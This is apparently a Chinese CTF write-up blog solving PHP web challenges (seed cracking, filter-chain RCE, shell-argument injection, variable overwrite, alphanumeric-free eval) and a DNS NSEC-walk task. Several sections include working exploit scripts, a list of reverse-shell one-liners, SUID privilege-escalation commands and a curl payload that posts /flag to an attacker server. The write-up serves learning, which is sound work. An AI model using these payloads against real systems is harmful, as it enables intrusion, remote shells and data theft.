        if ($generated !== $session_id[$i]) {  // 如果字符不匹配
            return false;  // 返回 false
        }
    }
 
    // 再次使用相同种子检查整个会话 ID 是否匹配
    mt_srand($seed);
    for ($i = 0; $i < strlen($session_id); $i++) {
        $generated = ALPHA[mt_rand(0, count(ALPHA)-1)];
        if ($generated !== $session_id[$i]) {
            return false;
        }
    }
    return true;  // 如果全部匹配，返回 true
}
 
// 破解会话 ID，尝试找到正确的种子
function crack_session($session_id) {
    $ranges = [
        [0x41, 0x5A], // 字母 A-Z 的 ASCII 范围
        [0x30, 0x39], // 数字 0-9 的 ASCII 范围
        [0x20, 0x7E]  // 其他 ASCII 可打印字符
    ];
 
    // 尝试不同的字节组合（4 字节）
    foreach ($ranges as $range) {
        for ($a = $range[0]; $a <= $range[1]; $a++) {
            echo sprintf("Testing first byte: %c (0x%02x)\n", $a, $a);
            for ($b = $range[0]; $b <= $range[1]; $b++) {
                for ($c = $range[0]; $c <= $range[1]; $c++) {
                    for ($d = $range[0]; $d <= $range[1]; $d++) {
                        $seed = ($a << 24) | ($b << 16) | ($c << 8) | $d;  // 组合字节生成种子
                        if (check_seed($seed, $session_id)) {  // 检查该种子是否生成匹配的会话ID
                            return $seed;  // 返回匹配的种子
                        }
                    }
                }
            }
        }
    }
    return null;  // 如果未找到有效的种子，返回 null
}
 
// 初始化一个数组用来存储会话信息
$sessions = [];
 
// 处理命令行参数，如果有提供会话信息，则直接使用
for ($i = 1; $i < $argc; $i++) {
    if (preg_match('/^([0-9a-f]):(.+)$/', $argv[$i], $matches)) {
        $sessions[$matches[1]] = $matches[2];  // 将哈希前缀和会话ID存储
    }
}
 
// 如果没有提供会话信息，则使用预设的测试用户名进行会话ID的获取
if (empty($sessions)) {
    foreach ($test_inputs as $username => $hash_prefix) {
        echo "\nTrying username: $username (hash prefix: $hash_prefix)\n";
 
        $session_id = get_session_id($username);  // 获取会话 ID
        if (!$session_id) {
            echo "Failed to get session ID\n";  // 获取失败，跳过
            continue;
        }
 
        $sessions[$hash_prefix] = $session_id;  // 存储会话ID
    }
}
 
// 初始化一个数组用来存储 flag 的各个部分
$flag_parts = [];
 
// 针对每个会话，尝试破解其种子并恢复 flag
foreach ($sessions as $hash_prefix => $session_id) {
    echo "\nCracking session for hash prefix $hash_prefix\n";
    echo "Session ID: " . substr($session_id, 0, 30) . "...\n";
 
    $seed = crack_session($session_id);  // 破解会话，找到种子
 
    if ($seed !== null) {
        $bytes = pack('N', $seed);  // 将种子转换为字节
        echo "Found seed: 0x" . dechex($seed) . "\n";  // 输出种子的十六进制表示
        echo "Flag part: $bytes\n";
        echo "Hex: " . bin2hex($bytes) . "\n";  // 输出字节的十六进制值
 
        $pos = hexdec($hash_prefix);  // 将哈希前缀转换为十进制
        $flag_parts[$pos] = $bytes;  // 将该部分存储在 flag 数组中
    }
}
 
// 输出最终的 flag，如果有找到有效的 flag 部分
if (count($flag_parts) > 0) {
    echo "\nFlag:\n";
    echo implode("", $flag_parts);  // 拼接所有 flag 部分
    echo "\n";
}
?>

ZONEy

这个题是压轴题，跟着学习一下

我尝试使用 nc 连接 udp 没有什么作用，看了别人 wp 才知道考的 dns

先用 nmap 扫描确认是 dns 服务器

`1`	`nmap -p 5007 52.59.124.14 -sCV`

查一下 dns，指定查询类型为 A 记录。A 记录是用于将域名解析为 IPv4 地址的 DNS 记录。

dig @52.59.124.14 -p 5007 A www.ZONEy.eno  
 
; <<>> DiG 9.20.4-3-Debian <<>> @52.59.124.14 -p 5007 A www.ZONEy.eno
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7364
;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 3
;; WARNING: recursion requested but not available
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.ZONEy.eno.                 IN      A
 
;; ANSWER SECTION:
www.ZONEy.eno.          7200    IN      CNAME   challenge.ZONEy.eno.
challenge.ZONEy.eno.    7200    IN      A       127.0.0.1
 
;; AUTHORITY SECTION:
ZONEy.eno.              7200    IN      NS      ns1.ZONEy.eno.
ZONEy.eno.              7200    IN      NS      ns2.ZONEy.eno.
 
;; ADDITIONAL SECTION:
ns1.ZONEy.eno.          7200    IN      A       127.0.0.1
ns2.ZONEy.eno.          7200    IN      A       127.0.0.1
 
;; Query time: 28 msec
;; SERVER: 52.59.124.14#5007(52.59.124.14) (UDP)
;; WHEN: Sat Feb 01 19:09:06 CET 2025
;; MSG SIZE  rcvd: 150

注意到 challenge.ZONEy.eno 指向 127.0.0.1，这是一个经典的 CTF 举措 — 将流量重定向回自身。这不是最终目的地，这意味着我必须进一步 NSEC-walk。

`1`	`dig @52.59.124.14 -p 5007 NSEC challenge.zoney.eno`

查到另一个子域名 hereisthe1337flag.zoney.eno，再查一下 TXT 记录

`1`	`dig @52.59.124.14 -p 5007 TXT hereisthe1337flag.zoney.eno`

NEUCTF Web Round-1 总结

Mon, 29 Jul 2024 11:02:00 +0800

ezrand

先上源码

<?php
// 设置随机数种子，种子是 '/proc/self/mountinfo' 文件内容的 CRC32 哈希值
mt_srand(crc32(file_get_contents('/proc/self/mountinfo')));
 
// 生成两个随机数并将其连接为字符串，然后输出
echo mt_rand().mt_rand();
 
// 检查用户通过 GET 请求传入的 'guess' 参数是否与接下来生成的两个随机数相匹配
if (($_GET['guess'] ?? '') === mt_rand().mt_rand()) 
    // 如果匹配，则读取并输出 '/flag' 文件的内容
    echo file_get_contents('/flag');
else 
    // 如果不匹配，则显示当前文件的源代码并加上语法高亮
    highlight_file(__FILE__);
?>
# 6593240329414056

我们来分析一下，该题的关键是 mt_rand 函数

生成的是伪随机数，所以我们可以通过输出来还原种子，进而预测下一轮随机数

输出 6593240329414056 是由两个随机数连接成为的字符串，我们先来测试一下这个函数，空着输出 10 个

<?php
for ($i = 0; $i < 10; $i++) {
    echo mt_rand(); // 生成并输出一个随机数
    echo "\n"; // 输出换行符
}

发现他们的位数相仿，而这道题的输出是 16 位，我们先对半分，猜想两个随机数都是 8 位

我们使用 php_mt_seed 工具来爆破还原种子

参考文档：https://blog.csdn.net/m0_46607055/article/details/121335800

我们带入尝试一下，发现种子都不符合，我们再尝试一下别的位数

带入验证一下，这回对上了

<?php
mt_srand(4267213920); // 初始化伪随机数生成器
 
for ($i = 0; $i < 5; $i++) {
    echo mt_rand(); // 生成并输出一个随机数
    echo "\n"; // 输出换行符
}

进而下一轮就是 6055072741271739155

ezclass

先上源码

<?php
// 创建一个匿名类实例，并将其实例化为 $class 变量
$class = new class {
    // 定义一个魔术方法 __invoke，当对象被当作函数调用时执行
    function __invoke() { 
        // 执行系统命令 'cat /flag'，读取并输出 /flag 文件内容
        system('cat /flag'); 
    }
};
 
// 释放（删除） $class 变量所指向的对象实例，这意味着对象已经无法通过 $class 访问
unset($class); // Oops! 这里的 unset 导致 $class 被删除
 
// 检查是否通过 GET 请求传入了 'c' 参数
if (isset($_GET['c'])) 
    // 如果 'c' 参数存在，则尝试实例化该类并调用其 __invoke 方法
    (new $_GET['c']())();
else 
    // 如果 'c' 参数不存在，则显示当前文件的源代码，并加上语法高亮
    highlight_file(__FILE__);
?>

这题的关键在于__invoke 函数

但是使用了 unset 函数，删除掉了

那怎么办呢，实际上这涉及到一个匿名类的问题（当需要创建简单的一次性对象时，匿名类非常有用）因为这个匿名类没有到 256 字节的长度，所以 unset 不会马上就删除掉它的内存，只是把这个名字给擦去了。那么我们只需要找到这块内存，然后扒出来就行了。

参考链接：红明谷初赛 2024-web-wp

本题的关键函数来了：get_declared_classes()，先在本地试试

<?php
$class = new class {
    function __invoke() { system('cat /flag'); }
};
unset($class); // Oops!
if (isset($_GET['c'])) (new $_GET['c']())();
else highlight_file(__FILE__);
$c = get_declared_classes();
//c用urlencode  输出最后一个  //有不可见字符
echo urlencode($c[count($c)-1]);

修改一下在靶机上尝试一下发现过不了

这里有两个位置一个是 %3A2，这个 2 取决于这个匿名类在哪一行被声明，还有一个就是最后一位 %241，这个 1 是网站访问次数，要么重开靶机使用 %240，要么使用一个较大的数，然后不断访问爆破（注意爆破最后一位是 16 进制），还有一个点也要注意，传入的必须是 urlencode 后的，因为有不可见字符。

ezchain

先上源码

<?php
// are you able to read flag.php ?
if (isset($_REQUEST['file'])) {
    file_get_contents($_REQUEST['file']);
} else {
    highlight_file(__FILE__);
}

这道题是一个无回显的 file_get_contents，通常的方法都不能使用

参考链接：https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle

补充一下受影响的函数：

文章其实我是没咋看懂的（大致意思好像是通过报错爆破出文件的 Base64 内容），但是会用脚本

读到了 flag.php 的源码

1
2
3

<?php
$cmd = $_REQUEST['flag_is_on_the_horizon'];
if (isset($cmd)) echo include $cmd;

试了几个伪协议，有的能出，有的还是不行，实际上还是用一个工具（用伪协议来拼），我觉得用命令行每次执行都太复杂了，所以就把这个脚本稍微改了一下，但是我这个脚本有时候会不好使，好像是因为引号的缘故，我还没找到

import requests
import base64
 
# 字符转换映射
conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}
 
 
def generate_filter_chain(chain, max_length=10000):
    encoded_chain = chain
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    filters += "convert.iconv.UTF8.UTF7|"
 
    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        filters += "convert.iconv.UTF8.UTF7|"
        if len(filters) > max_length:
            break
    filters += "convert.base64-decode"
 
    final_payload = f"php://filter/{filters}/resource=php://temp"
    print(final_payload)
    return final_payload
 
 
def main():
    url = "http://yo0jbse0m8ssm6j2.neu-nex.fun/flag.php"
 
 
    php_code = input("请输入要转换的PHP代码: ")
 
    # 将PHP代码转换为Base64
    chain = php_code.encode('utf-8')
    base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
    print(f"Base64的值为：{base64_value}")
    filter_chain = generate_filter_chain(base64_value)
 
    # 发送HTTP POST请求，可以手动改成GET，GET传参有大小显示，所以这道题用POST
    response = requests.post(url, data={'flag_is_on_the_horizon': filter_chain})
    # 输出响应内容
    print(response.text)
 
if __name__ == "__main__":
    while (True):
        main()

执行一下发现 flag 是没有权限读的，我们需要提权，提权的方式有很多种，这道题使用的是 suid 提权（某些文件有特权，可以利用它的特权暂时执行 root 权限），下面这些代码都是可以用来查找哪些文件是具有 suid 特权的

1
2
3

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

这步我那个脚本就出现问题了，还是手动使用那个工具吧

可以看到这里有 find，可以使用它来提权

这题似乎还可以反弹 shell

常用的反弹 shell 命令：

# bash反弹
bash -i >& /dev/tcp/ip/port 0>&1
# 现在好像要这样写:bash -c "bash -i >& /dev/tcp/公网ip/port 0>&1"
 
# nc反弹
nc -e /bin/bash 公网ip port
 
# python反弹 
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
 
# php反弹
php -r 'exec("/usr/bin/bash -i >& /dev/tcp/ip/port 0>&1");'
 
# exec反弹
0<&196;exec 196<>/dev/tcp/ip/port; sh <&196 >&196 2>&196
 
# perl反弹
perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
# awk反弹
awk 'BEGIN{s="/inet/tcp/0/ip/port";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
 
# telnet反弹
攻击者：
nc -nvlp port1		#输入命令
nc -nvlp port2		#输出命令
受害者：
telnet ip port1 | /bin/bash | telnet ip port2
 
# socat反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ip:port

参考链接：https://blog.csdn.net/weixin_44288604/article/details/111740527

反弹 shell 要注意目标机中是否有上述这些环境，如果没有则可以换换姿势，还有反弹 shell 可出网也可不出网，不出网一般是自己测试，用 windows 连接虚拟机（二者在同一个网段上），一般实战都是出网的，反弹 shell 到自己的服务器上，除此之外还要注意服务器是否放行了连接 shell 的端口。

不过这道题加上 php_chain 之后我怎么尝试都不好使，以后做到类似的再说吧。

我来补充了，使用这个反弹成功了

`1`	`python php_filter_chain_generator.py --chain '<?php $sock=fsockopen("ip",port);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'`

ezchain plus

这道题属于番外篇了，是来自 BaseCTF 的一道题，先上源码：

`1`	`echo file_get_contents($_POST['file']);`

看上去很简单只有一句话，实际上要想利用他需要很大功夫，背后涉及到了许多 pwn（缓冲区溢出）的知识，我不是很能看懂，具体知识可以看这几篇文章

https://c1oudfl0w0.github.io/blog/2024/05/31/CVE-2024-2961%E5%A4%8D%E7%8E%B0

https://xz.aliyun.com/t/15549?time__1311=Gqjxn7itGQeWqGNDQiiQGkDuWuEjSS3hfbD#toc-0

直接用工具

https://github.com/ambionics/cnext-exploits/

它是基于 https://github.com/synacktiv/php_filter_chains_oracle_exploit 的

直接访问 /flag 就能得到 flag 了

还有一个 file_get_contents ($_POST [‘file’]); 的（无回显）利用现在这个 payload 还不是很稳定

https://www.ambionics.io/blog/iconv-cve-2024-2961-p3

说是签到题，我做着费了挺大劲，提示倒是给了不少，不然我真不一定能做出来

先上源码

<?php
// flag in /flag
// incredibly secure becoz we escape not only arg but also cmd
system(escapeshellcmd('curl http://'.escapeshellarg($_GET['url'] ?? 'example.com')));
highlight_file(__FILE__);

本题对 url 输入的命令进行了两层过滤，首先看一下这两个函数

看官方的解释感觉不是很好理解，于是翻到了一篇博客：https://www.freebuf.com/articles/web/182125.html

详细分析一下这个过程：

传入的参数是 127.0.0.1′ -v -d a=1
由于 escapeshellarg 先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下：’127.0.0.1’\” -v -d a=1′
接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理，结果如下所示：’127.0.0.1’\” -v -d a=1\’
由于第三步处理之后的 payload 中的 \\ 被解释成了 \ 而不再是转义字符，所以单引号配对连接之后将 payload 分割为三个部分，具体如下所示：

所以这个 payload 可以简化为 curl 127.0.0.1\ -v -d a=1' ，即向 127.0.0.1\ 发起请求，POST 数据为 a=1' 。

回到这道题，也是通过构造来执行 curl 命令来获取 flag，

我是使用了把 flag 发到服务器上，第二种方法没有试出来

先在本地上调试

1
2
3

<?php
 
echo escapeshellcmd('curl http://'.escapeshellarg("' WhatToDoInHereThen ?"));

php 代码输出结果在 linux 调试，服务器上开一个接收脚本 (socket 通信)，如果接受到数据说明构造正确。

import socket
 
# 配置服务器地址和端口
HOST = '0.0.0.0'  # 监听所有可用的网络接口
PORT =  port   # 你可以选择一个未被占用的端口号
 
# 创建一个 TCP/IP socket
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))  # 绑定地址和端口
    s.listen(5)  # 监听连接，最多允许 5 个等待连接
 
    print(f"服务器启动，正在监听 {HOST}:{PORT}...")
 
    while True:
        conn, addr = s.accept()  # 接受一个新连接
        with conn:
            print(f"已连接 {addr}")
            data = conn.recv(1024)  # 接收数据，最大为 1024 字节
            print(f"接收到的数据：\n{data.decode('utf-8')}")
            
            # 解析数据
            request_lines = data.decode('utf-8').splitlines()
            if request_lines:
                print(f"请求行: {request_lines[0]}")
            
            # 向客户端发送响应
            response = (
                "HTTP/1.1 200 OK\r\n"
                "Content-Type: text/html\r\n"
                "Content-Length: 19\r\n"
                "\r\n"
                "POST 数据已接收"
            )
            conn.sendall(response.encode('utf-8'))

(其实直接用 nc 监听也可以，不用这个脚本也行）

经过测试，最后 payload:

`1`	`' ip:port -d @/flag -X POST`

flag 此时已被服务器接收，查看即可

phpmagic

先上源码

<?php
// 检查是否通过 GET 请求传递了 'name' 参数
if (isset($_GET['name'])) {
// 获取 GET 参数 'hello_world.method' 的值，赋值给变量 $method
// 如果未传递 'hello_world.method' 参数，则将 $method 设置为 'crc32'
$method = $_GET['hello_world.method'];
is_null($method) ? $method = 'crc32' : 1;
 
// 检查传入的 'name' 参数的长度是否大于2字符。如果长度不符合要求，则终止执行。
strlen($name = $_GET['name']) <= 2 || die(); // 希望您的名字足够短 :)
 
// 输出基于 $method 函数处理后的 'name' 值作为 "今天的幸运数字"
echo 'Your lucky number today: ' . $method($name) . '<br>';
 
// 再次输出基于 $method 函数处理后的 'name' 值作为 "今天的不幸数字"
echo 'Your unlucky number today: ' . $method($name);
} else {
  // 如果没有传递 'name' 参数，显示当前文件的源码
  highlight_file(__FILE__);
}
?>

这是个很有意思的题，刚开始看的时候还是很懵的，不知道要怎么利用，一步一步来吧。

首先，我们在测试的时候会发现 hello_world.method 参数根本传不进去，这是第一个考点，非法字符的传参问题

参考链接：https://blog.csdn.net/mochu7777777/article/details/115050295

将 hello_world.method 改成 hello [world.method 就能传参了

于是传入？name=ls&hello [world.method=system

flag 就在眼前，可惜被限制长度给制裁了，就是读不了，那我们就需要接着绕过 strlen 了，搜了半天搜到一个数组绕过传入数组会得到 NULL，bool (NULL<=2) 可以过判断

确实可以过判断但是没什么用，system 函数也传不了数组，于是寻找 php 的函数中能传数组的函数，并且还需要跟这道题有关，简直是折磨，写个爬虫给 php 函数的名称和传参爬取下来（还问了别人好多遍），最后才知道是 extract 函数的变量覆盖漏洞，$method ($name) 传了两遍，正好可以利用这个漏洞。

参考链接：https://blog.csdn.net/qq_42357070/article/details/81982420

最终 payload：

`1`	`?name[method]=system&name[name]=cat /flag&hello[world.method=extract`

ezshell(Update: 2026-01-29)

先上源码

<?php
  // 检查是否通过GET请求传递了'cmd'参数
  if (isset($_GET['cmd'])) {
  // 将'cmd'参数转换为字符串类型
  $cmd = strval($_GET['cmd']);
 
// 使用正则表达式检查'cmd'内容，如果包含字母、数字或括号，立即结束程序
// 这一步实际上在阻止某些恶意命令，但这个正则表达式没有防止所有可能的恶意输入
if(preg_match("/[A-Za-z0-9\(\)]+/", $cmd)) die;
 
// 执行'cmd'中的PHP代码，潜在存在安全风险
eval($cmd);
} else {
  // 如果没有传递'cmd'参数，则显示当前文件的源代码
  highlight_file(__FILE__);
}
?>

这个题也是很折磨，最主要的是过滤掉了括号，没法执行函数

首先是看到了 ctfwiki 上的方法，使用异或运算来构造可以 GET 或 POST 传参的点，但是使用了大括号，这题也是无法实现的

然后搜索了无字母数字的 webshell，介绍了好多种做法：异或，或，url 编码取反绕过，自增运算

参考链接：https://www.freebuf.com/articles/network/279563.html

最后尝试了异或绕过，先用 php 跑出来一个字典

<?php
 
function generate_xor_results($i_ranges, $j_ranges, $filename)
{
    $myfile = fopen($filename, "w");
    $contents = "";
 
    foreach ($i_ranges as $i_range) {
        for ($i = $i_range[0]; $i <= $i_range[1]; $i++) {
            
            foreach ($j_ranges as $j_range) {
                for ($j = $j_range[0]; $j <= $j_range[1]; $j++) {
                    $xor_result = $i ^ $j;
                    
                    if ($xor_result >= 32 && $xor_result <= 126) {
                        $contents .= chr($xor_result) . " " . chr($i) . " " . chr($j) . "\n";
                    }
                }
            }
        }
    }
 
    fwrite($myfile, $contents);
    fclose($myfile);
}
 
$i_ranges = [
    [33, 39],
    [42, 47],   
    [58, 64],    
    [91, 96],    
    [123, 126]  
];
 
$j_ranges = [
    [33, 39],
    [42, 47],  
    [58, 64],    
    [91, 96],   
    [123, 126]   
];
 
generate_xor_results($i_ranges, $j_ranges, "or_rce1.txt");

再用 Python 脚本生成 payload

# -*- coding: utf-8 -*-
 
def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        with open("or_rce2.txt", "r") as f:
            while True:
                t = f.readline()
                if t == "":
                    break
                if t[0] == i:
                    s1 += t[2]
                    s2 += t[4]
                    break
    output = f"(\"{s1}\"^\"{s2}\")"
    return output
 
 
while True:
    arg_input = input("\n[+] Your arg: ")
    param = action(arg_input)
    print(param)

实际操作发现过滤了不少东西，异或出来的结果是有限的，比如要构造一个 echo 反引号 ls，发现没有 h，卡了半天问别人是用的自增和异或的结合，一下就通顺了，我怎么就没想到呢，没有 h，可以利用 g，再自增一下不就变成了 h 吗，于是顺利构造出了 echo 反引号 ls，传入还需要 url 编码一下。

`1`	$_="%#"^"@@";$__="'"^"@";$__++;$_=$_.$__;$__="/"^"@";$_=$_.$__;$__=",,"^"@_";$_=$_." `".$__."`";$_;//echo`ls`;

正当我以为结束了的时候，您猜怎么着，什么也没有了

接着就是一顿本地调试，确实是传入进去了，但是很奇怪没传入进去，想不明白先放这里吧，又构造了一个类似于 webshell 的 $_POST ["_"];，利用_来传入 post 参数

`1`	$____="#"^"\|";$____.="."^"~";$____.="/"^"`";$____.="-"^"~";$____.="*"^"~";$_=${$____}["_"];`$_`;//$_POST["_"];

利用_传入 phpinfo ()，心想这下总可以了吧，然而现实又给我重重一击，又和上面一样

于是请教了 web 神胡学长，不愧是 web 神，一下就点出了问题，原来是我没有理解 eval () 里面加上一个反引号，相当于 shell_exec ()，并且执行后无回显，其实把这个 post 传的参数去掉通过报错也能看出来

里面应该传入命令而不是 php 代码，要实现传入 php 代码，需要 eval (eval ())，这样才可以，而本题中过滤了括号所以没法实现，上面那个 echo 反引号‘ls 也是错在这里了，eval 执行的不是 echo ls，执行的是生成 echo ls 字符串的代码，细细理解一下就知道了，混淆了字符串和代码

